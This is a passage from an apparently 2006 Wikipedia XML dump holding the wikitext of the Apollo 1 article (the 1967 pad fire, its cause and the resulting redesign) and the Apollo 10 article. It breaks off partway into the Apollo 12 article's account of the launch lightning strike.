!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew Picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-000618.jpg|250px|Apollo 1 crew portrait (L-R: Grissom, White and Chaffee)]] &lt;br/&gt;Apollo 1 crew portrait&lt;br/&gt;(L-R: Grissom, White and Chaffee)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 1 Crew
|}
'''Apollo One''' is the official name given retroactively to the '''Apollo/Saturn 204''' ('''AS-204''') spacecraft, destroyed by [[fire]] during a training exercise on [[January 27]] [[1967]], at Pad 34 (Launch Complex 34 at [[Cape Canaveral Air Force Station|Cape Canaveral]]) atop a [[Saturn IB]] rocket. Its crew were the astronauts selected for the initial [[Project Apollo|Apollo program]] mission and all three died in the accident: Command Pilot [[Gus Grissom|Virgil I. Grissom]], Senior Pilot [[Edward Higgins White|Ed White]], and Pilot [[Roger B. Chaffee]].
&lt;br style=&quot;clear: left&quot;/&gt;

==Crew==
*[[Gus Grissom|Virgil Grissom]] (flew on ''[[Mercury 4]]'' &amp; ''[[Gemini 3]]''), Command Pilot
*[[Edward Higgins White|Ed White]] (flew on ''[[Gemini 4]]''), Senior Pilot
*[[Roger B. Chaffee]] (never flew in space), Pilot

===Backup crew===
*April - December [[1966]]
**[[James McDivitt]], Command Pilot
**[[David Scott]], Senior Pilot
**[[Rusty Schweickart]], Pilot
This crew became the crew of ''[[Apollo 9]]''.
*December [[1966]] - January [[1967]]
**[[Walter Schirra]], Command Pilot
**[[Donn Eisele]], Senior Pilot
**[[Walter Cunningham]], Pilot
This crew became the crew of ''[[Apollo 7]]''.

==The accident==
[[Image:Apollo 1 fire.jpg|thumb|left|The charred remains of Apollo 1]]
The Apollo 1 Command Module was a &quot;Block I&quot; design, built for spaceflight but never intended for a trip to the moon, as it lacked the necessary docking equipment.

Immediately prior to the accident, the crew members were reclining in their horizontal couches, running through a checklist of things they would do in space while a communication system problem was being fixed. Suddenly, a voice (now believed to be Chaffee's, as his was the only clear channel) was heard over the COM link, &quot;We've got fire in the cockpit.&quot; A few seconds later the transmissions ended with a cry of pain. On the television monitors, Ed White was seen to be attempting to open the hatch. However, the two-piece hatch was of a design which required that the crew undo several bolts in order to remove the inner section, and was impossible to open quickly. Furthermore, the inner portion of hatch opened inwards, an intentional design feature intended to exploit the cabin's air pressure in order to further tighten the hatch seal during spaceflight. The hot gasses produced by the fire held the hatch shut, and within a few seconds the air pressure had risen enough to prevent the crew from escaping (and in fact the air pressure rose so high as to rupture the capsule).

===Cause===
The fire is believed to have been caused by a spark somewhere in the capsule's 30 miles (50 km) of wiring. Due to the pure oxygen inside the capsule (which was at a pressure of 15 [[Pound-force per square inch|psi]] or 100 [[kilopascal|kPa]]) the fire was quickly out of control. The Apollo 204 Review Board determined that a [[silver]]-[[Plating|plated]] [[copper]] [[wire]] running through an environmental control unit near the [[Apollo Command/Service Module|command module]] pilot's couch had become stripped of its insulation and abraded by repeated opening and closing of an associated access door. This weak point in the wiring also happened to pass near a junction in a [[ethylene glycol]] / water cooling line, which had developed a leak. The [[electrolysis]] of ethylene glycol solution with the [[anode]] made of silver resulted in a violent [[exothermic reaction]] that ignited the ethylene glycol mixture, which in turn was able to burn in the atmosphere of pure pressurized oxygen.[http://www.hq.nasa.gov/office/pao/History/SP-4009/v4p2b.htm] A similar March [[1961]] incident had previously claimed the life of Soviet [[cosmonaut]] trainee [[Valentin Bondarenko]] when the pure oxygen atmosphere in the isolation chamber he had been occupying had caught fire, a calamity the [[Soviet Union|USSR]] had, for years, concealed from the public.

===The fire===
The fire spread quickly and within seconds was an inferno. The ground crew needed five minutes to open the hatch and suppress the flames. The fire had melted the astronauts' space suits and the air lines which connected them to the capsule's life support systems. Grissom's and White's suits were found to have fused together. It was evident from how the corpses lay that they had tried to get out, but they never had a chance. Ed White, who was supposed to open the hatch, was partway out of his harness and had apparently made an effort to escape. The procedure would have had Grissom lower White's headrest, and White proceed to unlatch over 12 bolts to release the hatch. Indeed, even if he were to accomplish that, the internal pressure had risen so high that the inward-opening hatch could not have been opened. Chaffee's job was to begin shutting down the spacecraft and maintain communications with ground control, and was found dead still strapped into his right hand seat. Only 17 seconds from the first call of &quot;Fire!&quot;, all three were dead.  

It was later confirmed that the crew had actually died of smoke inhalation rather than burns. According to the Report of the Apollo 204 Review Board — Appendix D Panel 11, (link provided below), Grissom suffered third degree burns on 36% of his body (1st, 2nd and 3rd degree burns covered 60% of his body) and his spacesuit was 70% destroyed. White suffered third degree burns on 40% of his body (1st, 2nd and 3rd degree burns covered 48% of his body) and his spacesuit was 25% destroyed.  Chaffee suffered third degree burns on 23% of his body (1st, 2nd and 3rd degree burns covered 29% of his body) and his spacesuit was 15% destroyed.

The company that produced the command module, [[North American Aviation]], had originally suggested that the hatch open outward and be able to open with [[explosive bolt]]s in case of emergency. They had also suggested that the atmosphere be an oxygen/nitrogen mixture, like on the earth's surface. [[NASA]] didn't agree, arguing that the hatch could be accidentally opened (this is what caused [[Liberty Bell 7]] — ironically, piloted by Grissom — to sink into the ocean during splashdown recovery operations; Grissom himself argued that the hatch should be stronger, more secure, and harder to open), and that if too much nitrogen were released into the atmosphere, the astronauts would pass out and then die.  They also argued that since a pure oxygen atmosphere was used safely in [[Mercury program|Mercury]] and [[Gemini program|Gemini]], it should be safe to use for Apollo.  Furthermore, such a design saved weight.  After the fire, Apollo was grounded pending a redesign, with the following results:

* The atmosphere would not be pressurized to 2 lbf/in&amp;sup2; (14 [[Pascal_(unit)|kPa]]) above [[atmospheric pressure]].  It would consist of 60% oxygen and 40% nitrogen at sea-level pressure at launch, lowering to 5 kPA of pressure during launch, and gradually changing over to 100% oxygen during the first 24 hours of the trans-lunar coast.
* The hatch would open outward, and be operable in less than ten seconds.
* [[Flammable]] materials in the cabin were replaced with self-extinguishing materials.
* [[Plumbing]] and wiring were covered with protective [[thermal insulation|insulation]].
* 1,407 wiring problems were corrected.
* [[Nylon]] suits were replaced with coated glass fabric suits, much more difficult to ignite.

==The naming of Apollo 1==
When [[North American Aviation]] shipped Spacecraft CM-012 to [[Kennedy Space Center]], it bore a banner proclaiming it &quot;Apollo One&quot; and Grissom's crew had received approval for an &quot;Apollo 1&quot; patch in June [[1966]], but NASA was planning to call that mission &quot;AS-204.&quot;  After the fire, the astronauts' widows asked that &quot;Apollo 1&quot; be reserved for the flight their husbands would never make.  For a time, mission planners called the next scheduled launch &quot;Apollo 2.&quot;  Suggestions were made that the flights should be called &quot;Apollo 1&quot; (AS-204), &quot;Apollo 1A&quot; (AS-201), &quot;Apollo 2&quot; (AS-202), and &quot;Apollo 3&quot; (AS-203). Finally, the NASA Project Designation Committee approved &quot;[[Apollo 4]]&quot; for the first (unmanned) Apollo-Saturn V mission (AS-501), but declared that there would be no retroactive renaming of AS-201, -202, or -203.
The Apollo 1 (AS-204) Saturn IB rocket was taken down from Launch Complex 34 and later reassembled at Launch Complex 37B. It was used to launch the [[Apollo 5]] LM-1 into earth orbit for the first [[Lunar Module]] test mission.

==Memorial==
[[image:Apollo_1_plaque.png|thumb|right|300px|Drawing of Apollo 1 plaque that is attached to Launch Complex 34]] 
[[image:Apollo1plaque.JPG|thumb|right|300px|Apollo 1 plaque that is attached to Launch Complex 34]] 
[[image:LaunchComplex34.JPG|thumb|right|300px|Launch Complex 34, showing plaque on right rear post]] 

While Launch Complex 34 has been essentially dismantled, the cement and steel-reinforced launch platform remains at the site. The platform bears two plaques for the 3 men who perished. One says:

&lt;blockquote&gt;''LAUNCH COMPLEX 34''&lt;br /&gt;
''Friday, 27&amp;nbsp;January 1967''&lt;br /&gt;
''1831 Hours''&lt;br /&gt;
&lt;br /&gt;
''Dedicated to the living memory of the crew of the Apollo 1'':&lt;br /&gt;
&lt;br /&gt;
''U.S.A.F. Lt. Colonel Virgil I. Grissom''&lt;br /&gt;
''U.S.A.F. Lt. Colonel Edward H. White, II''&lt;br /&gt;
''U.S.N. Lt. Commander Roger B. Chaffee''&lt;br /&gt;
&lt;br /&gt;
''They gave their lives in service to their country in the ongoing exploration of humankind's final frontier. Remember them not for how they died but for those ideals for which they lived.''&lt;/blockquote&gt;
 
&lt;br style=&quot;clear: left&quot;/&gt;

[[image:Apollo_1_2nd_plaque.png|thumb|right|300px|Drawing of second Apollo 1 plaque that is attached to Launch Complex 34]] 
The other says:
&lt;blockquote&gt;''IN MEMORY OF THOSE WHO MADE THE ULTIMATE SACRIFICE SO OTHERS COULD REACH FOR THE STARS''&lt;br /&gt;
&lt;br /&gt;
''AD ASTRA PER ASPERA''&lt;br /&gt;
''(A ROUGH ROAD LEADS TO THE STARS)''&lt;br /&gt;
&lt;br /&gt;
''GOD SPEED TO THE CREW OF APOLLO 1''&lt;/blockquote&gt;

This plaque was featured in the film ''[[Armageddon (movie)|Armageddon]]''.

In addition to both, a college classmate of one of the astronauts fashioned three granite benches, one for each member of the crew.  The benches were installed in January 2005.

Each year the families of the Apollo 1 crew are invited to the site for a memorial, and the Kennedy Space Center Visitor Center offers a visit to the site for those who choose to take a special tour to the older launch sites that are on Cape Canaveral.

Three stars, [[Epsilon Cassiopeiae|Navi]], [[Dnoces]] and [[Regor]] were named in honor of the crew. The names are &quot;Ivan,&quot; &quot;Second&quot; and &quot;Roger&quot; spelled backwards. Ivan was Grissom's middle name and White was Edward H. White the Second. The crew used the stars to calibrate their equipment and, as a practical joke, recorded the names in official NASA documentation. The names eventually stuck as a posthumous honor.{{ref|star_names}}

==Conspiracy theories==
The space community, particularly [[USENET]] newsgroups sci.space.history and sci.space.policy, frequently see semi-anonymous postings which accuse NASA and/or other US authorities of [[arson]] and conspiracy to assassinate the crew of Apollo 1. It is claimed that NASA administrators held Grissom personally responsible for the loss of the [[Liberty Bell 7]] capsule at sea, and wanted to avenge this agency-wide loss of face. According to the Star tabloid, Grissom's son [[Scott Grissom]], a pilot himself, demanded a renewed investigation into the Apollo 1 disaster back in [[1999]]. Nonetheless, the accusations are generally regarded as [[Internet troll|trolling]] by the USENET community.

==References==
*{{note|star_names}} http://www.hq.nasa.gov/alsj/a15/a15.postland.html  Search the page for &quot;regor&quot; to find the reference.

==See also==
[[List of space disasters]]

==External links==
*[http://www.hq.nasa.gov/office/pao/History/Apollo204/ NASA Apollo 1 website]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19730061045_1973061045.pdf Apollo spacecraft 012 (Apollo 1) Operations Handbook (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066930_1982066930.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066928_1982066928.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix A: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066927_1982066927.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix B: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066925_1982066925.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix C Section 1: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066936_1982066936.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix C Section 2: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066931_1982066931.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 1 through 4: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066926_1982066926.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panel 5: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066932_1982066932.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 6 through 10: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066929_1982066929.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panel 11: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066933_1982066933.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 12 through 17: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066923_1982066923.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panel 18: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066934_1982066934.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 19 through 21: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066935_1982066935.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix E: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066537_1982066537.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix F: (PDF)]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820067189_1982067189.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix G: (PDF)]

{{Project Apollo | before=[[AS-202]] &lt;br&gt; [[Gemini 12]] | after=[[Apollo 4]] &lt;br&gt; [[Apollo 7]]}}

[[Category:Apollo program|Apollo 01]]
[[Category:Space Program Deaths]]
[[Category:1967 in the United States]]

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    </revision>
  </page>
  <page>
    <title>Apollo 10</title>
    <id>1966</id>
    <revision>
      <id>42106610</id>
      <timestamp>2006-03-03T21:43:52Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 10'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:APXexcalibur.JPG|200px]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission Name:'''||Apollo 10
|-
|'''Call sign:'''||Command module:&lt;br /&gt;''Charlie Brown''&lt;br /&gt;Lunar module:&lt;br /&gt;''Snoopy''
|-
|'''Number of&lt;br /&gt;Crew:'''||3
|-
|'''Launch:'''||[[May 18]], [[1969]]&lt;br /&gt;16:49:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39B
|-
|'''Lunar orbit:'''||[[May 21]] 20:44:54 UTC-&lt;br /&gt;[[May 24]] 10:25:29 UTC
|-
|'''Splashdown:'''||[[May 26]], [[1969]]&lt;br /&gt;16:52:23 UTC&lt;br /&gt;15° 2' S - 164° 39' W

|-
|'''Duration:'''||8 d 0 h 03 min 23 s
|-
|'''Number of&lt;br /&gt;Lunar Orbits:'''||31
|-
|'''Time in&lt;br /&gt;Lunar Orbit:'''||61 h 37 min 23.6 s 
|-
|'''Mass:'''||CSM 28,834 kg;&lt;br /&gt;LM 13,941 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001163.jpg|275px|Apollo 10 crew portrait (L-R: Cernan, Stafford, and Young)]] &lt;br/&gt;Apollo 10 crew portrait &lt;br/&gt;(L-R: Cernan, Stafford, and Young)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 10 Crew
|}
'''Apollo 10''' was the fourth manned mission in the [[Project Apollo|Apollo program]], and the first (and only manned Saturn V) mission to launch from pad 39B.  The mission included the second crew to orbit the Moon, and the test of the [[Apollo Lunar Module|lunar module]] in lunar orbit.  The module came to within 8.4 nautical miles (15.6 km) of the lunar surface during practice maneuvers. According to the 2001 Guinness World Records Apollo 10 has the record for the highest speed attained by a manned vehicle: 39,897 km/h (11.08 km/s or 24,791 mph).
The speed record was set during the return from the Moon on the [[26 May]], [[1969]].

==Crew==
*[[Thomas Stafford]] (flew on ''[[Gemini 6A]]'', ''[[Gemini 9A]]'', ''Apollo 10'', &amp; ''[[Apollo-Soyuz]]''), commander
*[[John W. Young]] (flew on ''[[Gemini 3]]'', ''[[Gemini 10]]'', ''Apollo 10'', ''[[Apollo 16]]'', ''[[STS-1]]'', &amp; ''[[STS-9]]''), command module pilot
*[[Eugene Cernan]] (flew on ''[[Gemini 9A]]'', ''Apollo 10'', &amp; ''[[Apollo 17]]''), lunar module pilot

===Backup Crew===
*[[Gordon Cooper]] (flew on ''[[Mercury 9]]'', ''[[Gemini 5]]''), commander
*[[Donn Eisele]] (flew on ''[[Apollo 7]]''), command module pilot
*[[Edgar Mitchell]] (flew on ''[[Apollo 14]]'', lunar module pilot

===Support Crew===
*[[Charles Duke]] (flew on ''[[Apollo 16]]'')
*[[Joe Engle]] (flew on ''[[STS-2]]'', ''[[STS 51-I]]'')
*[[James Irwin]] (flew on ''[[Apollo 15]]'')
*[[Jack Lousma]] (flew on ''[[Skylab 3]]'', ''[[STS-3]]'')

==Mission Parameters==
*'''[[Mass]]:''' CSM 28,834 kg; LM 13,941 kg
*'''[[Perigee]]:''' 184.5 km
*'''[[Apogee]]:''' 190 km
*'''[[Inclination]]:'''  32.5° 
*'''[[Orbital period|Period]]:''' 88.1 min

*'''[[Perilune]]:''' 111.1 km
*'''[[Apolune]]:''' 316.7 km
*'''[[Inclination]]:''' 1.2° 
*'''[[Orbital period|Period]]:''' 2.15 hours

===LM - CSM Docking===
*'''Undocked''': [[May 22]], [[1969]] - 19:00:57 UTC
*'''Redocked''': [[May 23]], [[1969]] - 03:11:02 UTC

===LM closest approach to lunar surface===
*[[May 22]], [[1969]], 21:29:43 UTC

On [[May 22]] [[1969]] at 20:35:02 UTC, a 27.4 second LM descent propulsion system burn  inserted the LM into a descent orbit of 112.8 km by 15.7 km so that the resulting lowest point in the orbit occurred about 15° from lunar landing site 2 (the Apollo 11 landing site). The lowest measured point in the trajectory was 15.6 km &lt;!--see talk--&gt; above the lunar surface at 21:29:43 UTC.

===See also===
*[[Splashdown]]
*[[List of artificial objects on the Moon]]

==Mission Highlights==
This dress rehearsal for a Moon landing brought Stafford and Cernan's lunar module, nicknamed &quot;[[Snoopy]]&quot;, to 8.4 nautical miles (15.6 km) from the lunar surface. Except for that final stretch, the mission went exactly as a landing would have gone, both in space and on the ground, where Apollo's extensive tracking and control network was put through a dry run. Shortly after leaving low Earth orbit, the command/service module separated from the S-IVB stage, turned around, and docked its nose to the top of the lunar module still nestled in the S-IVB.  The CSM/LM stack then separated from the S-IVB for the trip to the moon. Upon reaching lunar orbit, Young remained alone in his command module &quot;[[Charlie Brown]],&quot; while Stafford and Cernan flew separately in the LM.  They checked out the LM's radar and ascent engine, rode out a momentary gyration in the lunar lander's motion (due to a faulty switch setting), and surveyed the Apollo 11 landing site in the Sea of Tranquillity. This test article of the lunar module was not equipped to land, however. Apollo 10 also added another first - broadcasting live color TV from space. 

On [[May 22]] [[1969]] Apollo 10's lunar module flew within 15.6 km of the [[Moon]]'s surface.  

:Launched:  [[May 18]], [[1969]] from Pad 39B
:Returned:  [[May 26]], [[1969]]
:Crew members:   [[Tom Stafford]], commander; [[John W. Young|John Young]], command module pilot; [[Gene Cernan]], lunar module pilot
:Command module:  [[Charlie Brown]]
:Lunar module:  [[Snoopy]]

The command module is displayed at the [[Science Museum (London)|Science Museum]] in [[London]]. The lunar module is in heliocentric orbit, thus making it the only intact lunar module ascent stage out of all of the lunar modules sent into space (Apollos [[Apollo 5|5]], [[Apollo 9|9]], [[Apollo 13|13]] LM ascent stages burned up in Earth's atmosphere, ''[[Apollo 11]]'' LM ascent stage left in lunar orbit - eventually crashed on moon, Apollos [[Apollo 12|12]], [[Apollo 14|14]], [[Apollo 15|15]], [[Apollo 16|16]], [[Apollo 17|17]] LM ascent stages deliberately crashed into moon) .

&lt;gallery&gt;
Image:Ap10-KSC-68C-7912.jpg|The [[S-IC]] first stage in the VAB
Image:Ap10-KSC-69PC-110.jpg|Apollo 10 during rollout (NASA)
Image:As10-27-3881.jpg|CSM &quot;Charlie Brown&quot; (NASA)
Image:As10-345117.jpg|LM &quot;Snoopy&quot; (NASA)
Image:Apollo_10_earthrise.jpg|Apollo 10 view of Earth rise. (NASA)
&lt;/gallery&gt;

{{Project Apollo| before=[[Apollo 9]]| after=''[[Apollo 11]]''}}

==References==
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm  APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
* [http://history.nasa.gov/SP-4012/vol3/table2.38.htm Apollo 10 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]

==External links==
* [http://www.astronautix.com/flights/apollo10.htm Apollo 10 entry in Encyclopedia Astronautica]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]
*[http://vesuvius.jsc.nasa.gov/er/seh/Ap10.html Mission Report: Apollo 10]

{{commons|Apollo 10}}

[[Category:1969]]
[[Category:Apollo program]]
[[Category:Human spaceflights]]
[[Category:Lunar spacecraft]]

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  </page>
  <page>
    <title>Apollo 12</title>
    <id>1967</id>
    <revision>
      <id>42106663</id>
      <timestamp>2006-03-03T21:44:08Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;float: right; margin: 0 0 1em 1em; border-collapse: collapse; clear: right; font-size:100%;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 12'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:AP12goodship.JPG|200px|Apollo 12 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 12
|-
|'''Call sign:'''||Command module:&lt;br /&gt;''Yankee Clipper''&lt;br /&gt;Lunar module:&lt;br /&gt;''Intrepid''
|-
|'''Number of&lt;br /&gt;crew:'''||3
|-
|'''Launch:'''||[[November 14]], [[1969]]&lt;br /&gt;16:22:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar landing:'''||[[November 19]], 1969&lt;br /&gt;06:54:35 UTC&lt;br /&gt;3° 0' 44.60&quot; S - 23° 25' 17.65&quot; W&lt;br /&gt; Oceanus Procellarum/Mare Cognitium &lt;br /&gt;(Ocean of Storms/Known Sea) 
|-
|'''Lunar EVA&lt;br /&gt;length:'''||1st: 3 h 56 min 03 s&lt;br /&gt;2nd: 3 h 49 min 15 s&lt;br /&gt;Total: 7 h 45 min 18 s
|-
|'''Lunar surface&lt;br /&gt;time:'''||31 h 31 min 11.6 s
|-
|'''[[Lunar sample]]&lt;br /&gt;mass:'''|| 34.35 kg (75.729 lb)
|-
|'''Splashdown:'''||[[November 24]], [[1969]]&lt;br /&gt;20:58:24 UTC&lt;br /&gt;15° 47' S - 165°  9' W
|-
|'''Duration:'''||10 d 4 h 36 min 24 s
|-
|'''Number of&lt;br /&gt;lunar orbits:'''||45
|-
|'''Time in&lt;br /&gt;lunar orbit:'''||88 h 58 min 11.52 s 
|-
|'''Mass:'''||CSM 28,838 kg;&lt;br /&gt;LM 15,235 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001165.jpg|center|thumb|225px|Apollo 12 crew portrait (L-R: Conrad, Gordon and Bean)]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 12 Crew
|}
'''Apollo 12''' was the sixth manned mission in the [[Project Apollo|Apollo program]] and the second to land on the [[Moon]].

==Crew==
*[[Charles Conrad|Pete Conrad]] (flew on ''[[Gemini 5]]'', ''[[Gemini 11]]'', ''Apollo 12'', &amp; ''[[Skylab 2]]''), commander
*[[Richard F. Gordon, Jr.|Richard Gordon]] (flew on ''[[Gemini 11]]'' &amp; ''Apollo 12''), command module pilot
*[[Alan Bean]] (flew on ''Apollo 12'', ''[[Skylab 3]]''), lunar module pilot

===Backup crew===
*[[David Scott]] (flew on ''[[Gemini 8]]'', ''[[Apollo 9]]'', ''[[Apollo 15]]''), commander
*[[Alfred Worden]] (flew on ''[[Apollo 15]]''), command module pilot
*[[James Irwin]] (flew on ''[[Apollo 15]]''), lunar module pilot

===Support crew===
*[[Gerald Carr]] (flew on ''[[Skylab 4]]'')
*[[Edward Gibson]] (flew on ''[[Skylab 4]]'')
*[[Paul J. Weitz|Paul Weitz]] (flew on ''[[Skylab 2]]'', ''[[STS-6]]'')

==Mission parameters==
*'''[[Mass]]:''' CSM 28,838; LM 15,235 kg
*'''[[Perigee]]:''' 185 km
*'''[[Apogee]]:''' 189.8 km
*'''[[Inclination]]:'''  32.54° 
*'''[[Orbital period|Period]]:''' 88.16 min

*'''[[Perilune]]:''' 115.9 km
*'''[[Apolune]]:''' 257.1 km
*'''[[Inclination]]:''' ° 
*'''[[Orbital period|Period]]:''' 120 min
*'''Landing Site:'''  [http://nssdc.gsfc.nasa.gov/planetary/lunar/lunar_sites.html 3.01239 S - 23.42157 W] or&lt;BR&gt; 3° 0' 44.60&quot; S - 23° 25' 17.65&quot; W

===LM - CSM docking===
*'''Undocked''': [[November 19]], [[1969]] - 04:16:02 UTC
*'''Redocked''': [[November 20]], [[1969]] - 17:58:20 UTC

===EVAs===
===='''EVA 1 start''': [[November 19]], [[1969]], 11:32:35 UTC====
* ''Conrad'' - EVA 1 
*'''Stepped onto Moon''': 11:44:22 UTC
*'''LM ingress''': 15:27:17 UTC

* ''Bean'' - EVA 1 
*'''Stepped onto Moon''': 12:13:50 UTC
*'''LM ingress''': 15:14:18 UTC

===='''EVA 1 end''': November 19, 15:28:38 UTC====
*'''Duration''': 3 hours, 56 minutes, 03 seconds

===='''EVA 2 start''': [[November 20]], [[1969]], 03:54:45 UTC====
* ''Conrad'' - EVA 2 
*'''Stepped onto Moon''': 03:59:00 UTC
*'''LM ingress''': 07:42:00 UTC

* ''Bean'' - EVA 2 
*'''Stepped onto Moon''': 04:06:00 UTC
*'''LM ingress''': 07:30:00 UTC

===='''EVA 2 end''': November 20, 07:44:00 UTC====
*'''Duration''': 3 hours, 49 minutes, 15 seconds

===See also===
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]
* [[List of artificial objects on the Moon]]
* [[Google Moon]]

==Quote==
''Whoopie! Man, that may have been a small one for Neil, but that's a long one for me.'' &amp;mdash;Pete Conrad (somewhat shorter in stature than Armstrong) as he stepped onto the lunar surface for the first time.

==Mission Highlights==
{| style=&quot;float: right&quot;
|-
|[[Image:Apollo_12_Bean.jpg |thumb|235px|Alan Bean descends from the LM. (NASA)]]
|-
|[[Image:Apollo12Visor.jpg|thumb|235px|Alan Bean pictured by Pete Conrad (echoed in Bean's helmet) (NASA)]]
|-
|[[Image:GPN-2000-001316.jpg|thumb|235px|Conrad, Surveyor 3 and the LM Intrepid (NASA)]]
|-
|[[Image:Surveyor 3 Conrad.jpeg|thumb|235px|Conrad jiggles the Surveyor III craft. (NASA)]]
|-
|[[Image:a12-plaque.jpg|right|thumb|photograph of the plaque attached to the Apollo 12 LM]]
|}

Shortly after liftoff from Cape Canaveral, the Saturn V rocket body was hit by a bolt of upper-atmosphere [[lightning]]. The CM's instruments momentarily went off-line and Mission Control lost the telemetry feeds from the spacecraft for several seconds.  When ground control regained telemetry lock with the spacecraft, the feeds were garbled and reported incomplete and possibly inaccurate information.  [[EECOM]] [[John Aaron]] thought that the garbled telemetry might be caused by a malfunction in the launch vehicle's Signal Condition Equipment, since the SCE controlled the spacecraft's electrical power measurements and would have automatically gone off-line in response to the kind of disruption to the spacecraft's electrical systems that a lightning strike would cause ([http://history.nasa.gov/SP-287/ch5.htm source]).

